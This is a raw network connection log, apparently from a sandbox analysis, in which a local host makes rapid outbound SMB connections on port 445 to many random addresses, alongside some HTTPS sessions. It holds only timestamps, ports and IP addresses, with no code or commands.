Jul 20, 2022 13:24:18.651803970 CEST	443	50292	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.651952028 CEST	50292	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.658806086 CEST	443	50291	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.658912897 CEST	50291	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.662453890 CEST	50292	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.662484884 CEST	443	50292	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.663014889 CEST	443	50292	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.663115978 CEST	50292	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.664408922 CEST	50291	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.664433956 CEST	443	50291	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.664726973 CEST	443	50291	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.664803028 CEST	50291	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.686709881 CEST	50292	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.687105894 CEST	50291	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.728491068 CEST	443	50291	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.728503942 CEST	443	50292	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.729552984 CEST	50294	445	192.168.2.7	24.129.15.131
Jul 20, 2022 13:24:18.798578024 CEST	443	50291	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.798619032 CEST	443	50291	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.798702002 CEST	443	50291	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.798726082 CEST	50291	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.798755884 CEST	50291	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.798788071 CEST	50291	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.801419973 CEST	443	50292	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.801459074 CEST	443	50292	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.801525116 CEST	443	50292	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.801563978 CEST	50292	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.801618099 CEST	50292	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.804028988 CEST	50291	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.804075003 CEST	443	50291	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.811333895 CEST	50292	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:18.811364889 CEST	443	50292	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:18.828602076 CEST	50295	445	192.168.2.7	24.5.172.77
Jul 20, 2022 13:24:18.964323044 CEST	50296	445	192.168.2.7	46.189.234.230
Jul 20, 2022 13:24:19.043658972 CEST	50297	445	192.168.2.7	130.33.11.210
Jul 20, 2022 13:24:19.043915987 CEST	50298	445	192.168.2.7	140.167.39.163
Jul 20, 2022 13:24:19.152719021 CEST	50299	445	192.168.2.7	212.31.116.248
Jul 20, 2022 13:24:19.152744055 CEST	50300	445	192.168.2.7	190.53.219.72
Jul 20, 2022 13:24:19.152848959 CEST	50302	445	192.168.2.7	56.197.250.156
Jul 20, 2022 13:24:19.152961969 CEST	50301	445	192.168.2.7	56.112.180.198
Jul 20, 2022 13:24:19.152976036 CEST	50303	445	192.168.2.7	170.243.235.94
Jul 20, 2022 13:24:19.182626963 CEST	50304	445	192.168.2.7	211.139.133.228
Jul 20, 2022 13:24:19.214118958 CEST	50305	445	192.168.2.7	31.6.248.98
Jul 20, 2022 13:24:19.308954000 CEST	50306	445	192.168.2.7	24.160.48.107
Jul 20, 2022 13:24:19.417277098 CEST	50307	445	192.168.2.7	21.102.167.180
Jul 20, 2022 13:24:19.488388062 CEST	50308	445	192.168.2.7	16.32.184.61
Jul 20, 2022 13:24:19.636893034 CEST	50309	445	192.168.2.7	181.192.237.165
Jul 20, 2022 13:24:19.698605061 CEST	50310	445	192.168.2.7	182.166.216.148
Jul 20, 2022 13:24:19.854775906 CEST	50311	445	192.168.2.7	99.106.253.171
Jul 20, 2022 13:24:19.859062910 CEST	50312	445	192.168.2.7	61.1.40.191
Jul 20, 2022 13:24:19.897969007 CEST	80	49719	209.197.3.8	192.168.2.7
Jul 20, 2022 13:24:19.900156021 CEST	49719	80	192.168.2.7	209.197.3.8
Jul 20, 2022 13:24:20.089597940 CEST	50314	445	192.168.2.7	219.165.116.240
Jul 20, 2022 13:24:20.159929991 CEST	80	49704	93.184.220.29	192.168.2.7
Jul 20, 2022 13:24:20.160046101 CEST	49704	80	192.168.2.7	93.184.220.29
Jul 20, 2022 13:24:20.167681932 CEST	50316	445	192.168.2.7	103.7.18.74
Jul 20, 2022 13:24:20.167756081 CEST	50315	445	192.168.2.7	5.199.141.209
Jul 20, 2022 13:24:20.278069973 CEST	50317	445	192.168.2.7	73.167.97.112
Jul 20, 2022 13:24:20.278178930 CEST	50318	445	192.168.2.7	168.64.209.152
Jul 20, 2022 13:24:20.278214931 CEST	50319	445	192.168.2.7	52.165.138.5
Jul 20, 2022 13:24:20.278254032 CEST	50320	445	192.168.2.7	161.234.190.14
Jul 20, 2022 13:24:20.278322935 CEST	50321	445	192.168.2.7	28.14.53.14
Jul 20, 2022 13:24:20.312452078 CEST	50322	445	192.168.2.7	133.219.154.149
Jul 20, 2022 13:24:20.339900970 CEST	50323	445	192.168.2.7	164.206.42.31
Jul 20, 2022 13:24:20.433424950 CEST	50324	445	192.168.2.7	59.116.184.154
Jul 20, 2022 13:24:20.542531013 CEST	50325	445	192.168.2.7	79.76.123.197
Jul 20, 2022 13:24:20.604698896 CEST	50326	445	192.168.2.7	81.72.13.95
Jul 20, 2022 13:24:20.763865948 CEST	50327	445	192.168.2.7	46.103.166.60
Jul 20, 2022 13:24:20.823601961 CEST	50328	445	192.168.2.7	81.173.209.156
Jul 20, 2022 13:24:20.979804039 CEST	50329	445	192.168.2.7	93.22.219.99
Jul 20, 2022 13:24:20.980390072 CEST	50330	445	192.168.2.7	120.20.47.183
Jul 20, 2022 13:24:21.009907961 CEST	445	50329	93.22.219.99	192.168.2.7
Jul 20, 2022 13:24:21.010026932 CEST	50329	445	192.168.2.7	93.22.219.99
Jul 20, 2022 13:24:21.010181904 CEST	50329	445	192.168.2.7	93.22.219.99
Jul 20, 2022 13:24:21.010772943 CEST	50331	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:21.040618896 CEST	445	50331	93.22.219.1	192.168.2.7
Jul 20, 2022 13:24:21.044276953 CEST	50331	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:21.044434071 CEST	50331	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:21.046540976 CEST	50332	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:21.074111938 CEST	50333	445	192.168.2.7	197.134.236.242
Jul 20, 2022 13:24:21.076534986 CEST	445	50332	93.22.219.1	192.168.2.7
Jul 20, 2022 13:24:21.078365088 CEST	50332	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:21.078448057 CEST	50332	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:21.214354038 CEST	50334	445	192.168.2.7	73.53.72.62
Jul 20, 2022 13:24:21.277374029 CEST	50335	445	192.168.2.7	152.94.72.253
Jul 20, 2022 13:24:21.277971029 CEST	50336	445	192.168.2.7	73.22.35.136
Jul 20, 2022 13:24:21.332421064 CEST	50332	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:21.336092949 CEST	50329	445	192.168.2.7	93.22.219.99
Jul 20, 2022 13:24:21.386506081 CEST	50338	445	192.168.2.7	63.68.245.63
Jul 20, 2022 13:24:21.387164116 CEST	50339	445	192.168.2.7	104.15.208.105
Jul 20, 2022 13:24:21.388281107 CEST	50341	445	192.168.2.7	120.238.140.34
Jul 20, 2022 13:24:21.388293982 CEST	50340	445	192.168.2.7	169.121.231.115
Jul 20, 2022 13:24:21.388962984 CEST	50342	445	192.168.2.7	199.188.242.105
Jul 20, 2022 13:24:21.433913946 CEST	50343	445	192.168.2.7	134.222.175.208
Jul 20, 2022 13:24:21.464078903 CEST	50344	445	192.168.2.7	152.101.233.245
Jul 20, 2022 13:24:21.494761944 CEST	50331	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:21.566099882 CEST	50345	445	192.168.2.7	60.113.82.18
Jul 20, 2022 13:24:21.667244911 CEST	50346	445	192.168.2.7	148.213.173.113
Jul 20, 2022 13:24:21.697942972 CEST	50332	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:21.730345011 CEST	50347	445	192.168.2.7	188.192.54.58
Jul 20, 2022 13:24:21.821021080 CEST	50348	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:24:21.821060896 CEST	443	50348	20.199.120.182	192.168.2.7
Jul 20, 2022 13:24:21.821350098 CEST	50348	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:24:21.821841002 CEST	50348	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:24:21.821852922 CEST	443	50348	20.199.120.182	192.168.2.7
Jul 20, 2022 13:24:21.855603933 CEST	445	50345	60.113.82.18	192.168.2.7
Jul 20, 2022 13:24:21.886240959 CEST	50350	445	192.168.2.7	110.253.126.23
Jul 20, 2022 13:24:21.938632011 CEST	443	50348	20.199.120.182	192.168.2.7
Jul 20, 2022 13:24:21.938802004 CEST	50348	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:24:21.943070889 CEST	50348	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:24:21.943085909 CEST	443	50348	20.199.120.182	192.168.2.7
Jul 20, 2022 13:24:21.943671942 CEST	443	50348	20.199.120.182	192.168.2.7
Jul 20, 2022 13:24:21.944616079 CEST	50348	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:24:21.944669962 CEST	50348	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:24:21.944698095 CEST	443	50348	20.199.120.182	192.168.2.7
Jul 20, 2022 13:24:21.944972038 CEST	50348	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:24:21.949897051 CEST	50351	445	192.168.2.7	132.4.8.149
Jul 20, 2022 13:24:21.972132921 CEST	443	50348	20.199.120.182	192.168.2.7
Jul 20, 2022 13:24:21.972266912 CEST	443	50348	20.199.120.182	192.168.2.7
Jul 20, 2022 13:24:21.972373962 CEST	50348	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:24:21.972549915 CEST	50348	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:24:21.972568989 CEST	443	50348	20.199.120.182	192.168.2.7
Jul 20, 2022 13:24:22.088541985 CEST	50329	445	192.168.2.7	93.22.219.99
Jul 20, 2022 13:24:22.104707003 CEST	50352	445	192.168.2.7	15.247.31.1
Jul 20, 2022 13:24:22.197956085 CEST	50331	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:22.205943108 CEST	50353	445	192.168.2.7	219.211.140.17
Jul 20, 2022 13:24:22.339124918 CEST	50354	445	192.168.2.7	211.175.202.55
Jul 20, 2022 13:24:22.401055098 CEST	50332	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:22.401082039 CEST	50345	445	192.168.2.7	60.113.82.18
Jul 20, 2022 13:24:22.402085066 CEST	50355	445	192.168.2.7	24.40.46.100
Jul 20, 2022 13:24:22.402631044 CEST	50356	445	192.168.2.7	128.147.157.208
Jul 20, 2022 13:24:22.511385918 CEST	50357	445	192.168.2.7	28.179.61.13
Jul 20, 2022 13:24:22.512166023 CEST	50358	445	192.168.2.7	168.192.211.165
Jul 20, 2022 13:24:22.512669086 CEST	50359	445	192.168.2.7	1.6.171.47
Jul 20, 2022 13:24:22.513200045 CEST	50360	445	192.168.2.7	33.232.48.149
Jul 20, 2022 13:24:22.513719082 CEST	50361	445	192.168.2.7	34.113.86.248
Jul 20, 2022 13:24:22.557897091 CEST	50362	445	192.168.2.7	210.73.105.114
Jul 20, 2022 13:24:22.574331999 CEST	50363	445	192.168.2.7	54.163.130.216
Jul 20, 2022 13:24:22.630112886 CEST	80	49703	93.184.220.29	192.168.2.7
Jul 20, 2022 13:24:22.630225897 CEST	49703	80	192.168.2.7	93.184.220.29
Jul 20, 2022 13:24:22.682991028 CEST	50364	445	192.168.2.7	17.241.192.152
Jul 20, 2022 13:24:22.689058065 CEST	445	50345	60.113.82.18	192.168.2.7
Jul 20, 2022 13:24:22.799868107 CEST	50365	445	192.168.2.7	64.121.202.6
Jul 20, 2022 13:24:22.888964891 CEST	50366	445	192.168.2.7	94.53.86.14
Jul 20, 2022 13:24:22.943887949 CEST	445	50366	94.53.86.14	192.168.2.7
Jul 20, 2022 13:24:22.952363014 CEST	50367	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:22.952394009 CEST	443	50367	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:22.952478886 CEST	50367	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:22.953126907 CEST	50367	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:22.953140974 CEST	443	50367	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:23.001697063 CEST	50368	445	192.168.2.7	124.102.147.106
Jul 20, 2022 13:24:23.001749992 CEST	50369	445	192.168.2.7	190.64.42.166
Jul 20, 2022 13:24:23.053421974 CEST	443	50367	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:23.053551912 CEST	50367	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:23.056061029 CEST	50367	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:23.056080103 CEST	443	50367	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:23.056623936 CEST	443	50367	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:23.060405970 CEST	50367	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:23.060439110 CEST	50367	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:23.060448885 CEST	443	50367	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:23.060600996 CEST	50367	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:23.074002028 CEST	50370	445	192.168.2.7	158.37.181.216
Jul 20, 2022 13:24:23.095822096 CEST	443	50367	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:23.095932961 CEST	443	50367	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:23.096012115 CEST	50367	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:23.096122980 CEST	50367	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:23.096144915 CEST	443	50367	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:23.229834080 CEST	50371	445	192.168.2.7	64.66.36.52
Jul 20, 2022 13:24:23.323573112 CEST	50372	445	192.168.2.7	166.210.233.49
Jul 20, 2022 13:24:23.333702087 CEST	50329	445	192.168.2.7	93.22.219.99
Jul 20, 2022 13:24:23.464473963 CEST	50373	445	192.168.2.7	95.115.12.197
Jul 20, 2022 13:24:23.494895935 CEST	50331	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:23.494904995 CEST	50366	445	192.168.2.7	94.53.86.14
Jul 20, 2022 13:24:23.527291059 CEST	50374	445	192.168.2.7	219.90.168.72
Jul 20, 2022 13:24:23.527431011 CEST	50375	445	192.168.2.7	61.33.198.132
Jul 20, 2022 13:24:23.545968056 CEST	445	50366	94.53.86.14	192.168.2.7
Jul 20, 2022 13:24:23.637335062 CEST	50377	445	192.168.2.7	182.6.160.169
Jul 20, 2022 13:24:23.637382984 CEST	50378	445	192.168.2.7	28.177.178.4
Jul 20, 2022 13:24:23.637386084 CEST	50376	445	192.168.2.7	207.127.86.243
Jul 20, 2022 13:24:23.637526035 CEST	50380	445	192.168.2.7	169.209.8.168
Jul 20, 2022 13:24:23.637662888 CEST	50379	445	192.168.2.7	184.68.37.102
Jul 20, 2022 13:24:23.683908939 CEST	50381	445	192.168.2.7	156.11.120.23
Jul 20, 2022 13:24:23.698050976 CEST	50332	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:23.698968887 CEST	50382	445	192.168.2.7	33.78.161.131
Jul 20, 2022 13:24:23.801940918 CEST	50383	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:23.801994085 CEST	443	50383	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:23.802073956 CEST	50383	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:23.808300018 CEST	50384	445	192.168.2.7	63.151.109.172
Jul 20, 2022 13:24:23.813693047 CEST	50383	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:23.813713074 CEST	443	50383	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:23.902147055 CEST	443	50383	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:23.902594090 CEST	50383	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:23.905246973 CEST	50385	445	192.168.2.7	186.246.219.229
Jul 20, 2022 13:24:23.917660952 CEST	50386	445	192.168.2.7	53.5.217.253
Jul 20, 2022 13:24:23.990581989 CEST	50383	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:23.990597010 CEST	443	50383	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.013649940 CEST	50387	445	192.168.2.7	2.49.13.3
Jul 20, 2022 13:24:24.122203112 CEST	50388	445	192.168.2.7	67.209.58.61
Jul 20, 2022 13:24:24.122762918 CEST	50389	445	192.168.2.7	30.99.183.245
Jul 20, 2022 13:24:24.143868923 CEST	50383	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.143918037 CEST	443	50383	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.197926044 CEST	50390	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.197990894 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.198108912 CEST	50390	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.198666096 CEST	50391	445	192.168.2.7	165.99.128.133
Jul 20, 2022 13:24:24.199584007 CEST	50390	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.199614048 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.273211956 CEST	443	50383	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.273302078 CEST	443	50383	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.273339033 CEST	50383	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.273360968 CEST	443	50383	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.273377895 CEST	50383	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.273423910 CEST	50383	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.273432970 CEST	443	50383	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.273504972 CEST	50383	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.273719072 CEST	443	50383	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.276555061 CEST	50383	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.296104908 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.300589085 CEST	50390	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.301192999 CEST	50390	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.301204920 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.317419052 CEST	50383	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.317465067 CEST	443	50383	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.319183111 CEST	50390	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.319201946 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.355323076 CEST	50392	445	192.168.2.7	119.157.212.244
Jul 20, 2022 13:24:24.449445009 CEST	50393	445	192.168.2.7	115.3.2.58
Jul 20, 2022 13:24:24.489516020 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.489562035 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.489592075 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.489680052 CEST	50390	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.489707947 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.489721060 CEST	50390	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.489784002 CEST	50390	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.515954971 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.516026020 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.516083956 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.516119957 CEST	50390	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.516149044 CEST	50390	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.522268057 CEST	50390	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:24:24.522303104 CEST	443	50390	20.31.108.18	192.168.2.7
Jul 20, 2022 13:24:24.573930979 CEST	50394	445	192.168.2.7	3.159.41.42
Jul 20, 2022 13:24:24.653074026 CEST	50395	445	192.168.2.7	119.177.210.103
Jul 20, 2022 13:24:24.653175116 CEST	50396	445	192.168.2.7	23.162.219.114
Jul 20, 2022 13:24:24.763983965 CEST	50397	445	192.168.2.7	166.171.14.226
Jul 20, 2022 13:24:24.764058113 CEST	50398	445	192.168.2.7	65.46.163.161
Jul 20, 2022 13:24:24.764117002 CEST	50399	445	192.168.2.7	82.1.93.177
Jul 20, 2022 13:24:24.764161110 CEST	50400	445	192.168.2.7	140.23.153.45
Jul 20, 2022 13:24:24.764226913 CEST	50401	445	192.168.2.7	122.77.185.224
Jul 20, 2022 13:24:24.809236050 CEST	50402	445	192.168.2.7	91.231.196.15
Jul 20, 2022 13:24:24.824706078 CEST	50403	445	192.168.2.7	158.4.200.244
Jul 20, 2022 13:24:24.934720993 CEST	50404	445	192.168.2.7	208.148.89.96
Jul 20, 2022 13:24:24.995052099 CEST	50332	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:25.012907028 CEST	50405	445	192.168.2.7	161.134.37.53
Jul 20, 2022 13:24:25.027822018 CEST	50406	445	192.168.2.7	215.152.99.123
Jul 20, 2022 13:24:25.138623953 CEST	50407	445	192.168.2.7	115.116.53.155
Jul 20, 2022 13:24:25.246144056 CEST	50408	445	192.168.2.7	199.187.66.211
Jul 20, 2022 13:24:25.246692896 CEST	50409	445	192.168.2.7	10.6.84.11
Jul 20, 2022 13:24:25.325259924 CEST	50410	445	192.168.2.7	112.55.110.26
Jul 20, 2022 13:24:25.487585068 CEST	50411	445	192.168.2.7	48.158.147.181
Jul 20, 2022 13:24:25.575000048 CEST	50412	445	192.168.2.7	93.126.193.251
Jul 20, 2022 13:24:25.662404060 CEST	445	50412	93.126.193.251	192.168.2.7
Jul 20, 2022 13:24:25.698991060 CEST	50413	445	192.168.2.7	151.32.59.5
Jul 20, 2022 13:24:25.761543989 CEST	50414	445	192.168.2.7	1.106.77.201
Jul 20, 2022 13:24:25.762064934 CEST	50415	445	192.168.2.7	162.124.43.118
Jul 20, 2022 13:24:25.889086962 CEST	50416	445	192.168.2.7	22.131.15.40
Jul 20, 2022 13:24:25.890074968 CEST	50417	445	192.168.2.7	181.33.172.157
Jul 20, 2022 13:24:25.891623020 CEST	50418	445	192.168.2.7	197.199.245.224
Jul 20, 2022 13:24:25.893784046 CEST	50419	445	192.168.2.7	31.250.176.235
Jul 20, 2022 13:24:25.895059109 CEST	50420	445	192.168.2.7	145.36.123.155
Jul 20, 2022 13:24:25.901339054 CEST	50331	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:25.901418924 CEST	50329	445	192.168.2.7	93.22.219.99
Jul 20, 2022 13:24:25.933358908 CEST	50422	445	192.168.2.7	12.230.16.164
Jul 20, 2022 13:24:25.949230909 CEST	50423	445	192.168.2.7	221.16.100.174
Jul 20, 2022 13:24:26.067806959 CEST	50424	445	192.168.2.7	125.63.98.147
Jul 20, 2022 13:24:26.198324919 CEST	50332	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:26.198450089 CEST	50412	445	192.168.2.7	93.126.193.251
Jul 20, 2022 13:24:26.263427973 CEST	50425	445	192.168.2.7	150.58.102.154
Jul 20, 2022 13:24:26.263946056 CEST	50426	445	192.168.2.7	200.135.14.90
Jul 20, 2022 13:24:26.281078100 CEST	445	50412	93.126.193.251	192.168.2.7
Jul 20, 2022 13:24:26.370903015 CEST	50427	445	192.168.2.7	176.181.7.26
Jul 20, 2022 13:24:26.371418953 CEST	50428	445	192.168.2.7	3.116.28.2
Jul 20, 2022 13:24:26.371931076 CEST	50429	445	192.168.2.7	70.119.124.211
Jul 20, 2022 13:24:26.448898077 CEST	50430	445	192.168.2.7	12.241.220.187
Jul 20, 2022 13:24:26.636320114 CEST	50431	445	192.168.2.7	142.153.53.88
Jul 20, 2022 13:24:26.758304119 CEST	50432	445	192.168.2.7	63.152.221.199
Jul 20, 2022 13:24:26.872452021 CEST	50433	445	192.168.2.7	52.36.169.182
Jul 20, 2022 13:24:26.888518095 CEST	50434	445	192.168.2.7	108.134.171.110
Jul 20, 2022 13:24:26.888838053 CEST	50435	445	192.168.2.7	65.140.80.103
Jul 20, 2022 13:24:27.625657082 CEST	50436	445	192.168.2.7	221.195.24.239
Jul 20, 2022 13:24:27.626164913 CEST	50437	445	192.168.2.7	215.239.20.34
Jul 20, 2022 13:24:27.626693010 CEST	50438	445	192.168.2.7	108.73.56.1
Jul 20, 2022 13:24:27.627168894 CEST	50439	445	192.168.2.7	221.131.253.193
Jul 20, 2022 13:24:27.627657890 CEST	50440	445	192.168.2.7	82.90.72.137
Jul 20, 2022 13:24:27.628156900 CEST	50441	445	192.168.2.7	176.231.110.117
Jul 20, 2022 13:24:27.628675938 CEST	50442	445	192.168.2.7	186.240.181.163
Jul 20, 2022 13:24:27.629163980 CEST	50443	445	192.168.2.7	67.90.186.177
Jul 20, 2022 13:24:27.771775961 CEST	50444	445	192.168.2.7	121.206.126.201
Jul 20, 2022 13:24:27.772437096 CEST	50445	445	192.168.2.7	187.195.174.36
Jul 20, 2022 13:24:27.772949934 CEST	50446	445	192.168.2.7	138.130.222.211
Jul 20, 2022 13:24:27.773472071 CEST	50447	445	192.168.2.7	168.138.236.165
Jul 20, 2022 13:24:27.773963928 CEST	50448	445	192.168.2.7	212.125.191.1
Jul 20, 2022 13:24:27.774452925 CEST	50449	445	192.168.2.7	212.166.92.245
Jul 20, 2022 13:24:27.774960995 CEST	50450	445	192.168.2.7	136.167.211.9
Jul 20, 2022 13:24:27.792793989 CEST	50451	445	192.168.2.7	146.63.33.72
Jul 20, 2022 13:24:27.897595882 CEST	50452	445	192.168.2.7	189.212.149.50
Jul 20, 2022 13:24:27.920070887 CEST	50453	445	192.168.2.7	150.40.3.145
Jul 20, 2022 13:24:28.011616945 CEST	50454	445	192.168.2.7	218.20.183.177
Jul 20, 2022 13:24:28.012126923 CEST	50455	445	192.168.2.7	109.23.123.162
Jul 20, 2022 13:24:28.012625933 CEST	50456	445	192.168.2.7	25.185.194.197
Jul 20, 2022 13:24:28.698537111 CEST	50332	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:30.066813946 CEST	50457	445	192.168.2.7	102.194.124.13
Jul 20, 2022 13:24:30.090029955 CEST	50458	445	192.168.2.7	167.192.43.23
Jul 20, 2022 13:24:30.090734005 CEST	50459	445	192.168.2.7	46.66.232.22
Jul 20, 2022 13:24:30.091453075 CEST	50460	445	192.168.2.7	99.112.39.74
Jul 20, 2022 13:24:30.092127085 CEST	50461	445	192.168.2.7	171.74.76.223
Jul 20, 2022 13:24:30.092766047 CEST	50462	445	192.168.2.7	115.88.214.112
Jul 20, 2022 13:24:30.093417883 CEST	50463	445	192.168.2.7	110.55.43.189
Jul 20, 2022 13:24:30.094086885 CEST	50464	445	192.168.2.7	10.81.53.179
Jul 20, 2022 13:24:30.094749928 CEST	50465	445	192.168.2.7	210.74.9.197
Jul 20, 2022 13:24:30.095421076 CEST	50466	445	192.168.2.7	86.222.253.167
Jul 20, 2022 13:24:30.096116066 CEST	50467	445	192.168.2.7	84.215.84.188
Jul 20, 2022 13:24:30.193671942 CEST	50468	445	192.168.2.7	212.21.231.113
Jul 20, 2022 13:24:30.194833994 CEST	50469	445	192.168.2.7	30.23.78.77
Jul 20, 2022 13:24:30.194925070 CEST	50470	445	192.168.2.7	199.64.193.21
Jul 20, 2022 13:24:30.195009947 CEST	50471	445	192.168.2.7	56.68.177.211
Jul 20, 2022 13:24:30.195120096 CEST	50472	445	192.168.2.7	25.171.77.197
Jul 20, 2022 13:24:30.195221901 CEST	50473	445	192.168.2.7	52.99.176.118
Jul 20, 2022 13:24:30.195327044 CEST	50474	445	192.168.2.7	194.13.24.105
Jul 20, 2022 13:24:30.195422888 CEST	50475	445	192.168.2.7	67.63.233.103
Jul 20, 2022 13:24:30.195528984 CEST	50476	445	192.168.2.7	178.8.222.122
Jul 20, 2022 13:24:30.195662022 CEST	50477	445	192.168.2.7	169.202.94.243
Jul 20, 2022 13:24:30.196636915 CEST	50478	445	192.168.2.7	150.177.62.125
